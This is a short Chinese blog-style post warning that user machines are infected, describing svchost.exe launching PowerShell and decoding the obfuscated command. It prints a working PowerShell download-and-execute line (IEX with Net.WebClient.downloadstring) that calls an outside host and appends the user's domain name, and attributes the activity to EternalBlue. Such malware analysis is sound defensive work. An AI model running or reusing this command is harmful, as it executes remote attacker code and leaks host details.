锕龙部落

原创 用户使用的程序早已挂上小尾巴，有多少人知道？

为什么说定格在这里，因为svchost.exe触发了powershell.EXE程序，他可不像cmd只能简单的处理几条命令。再往后这一堆乱七八糟的代码没几个能看懂的了，怎么办。解码后你会发现，呦西，omg：IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)IEX他是powershell自带的函数，作用是执行后面的函数或命令，讲到后背是否开始发麻了呢？小结：这不就是典型的：永恒之蓝。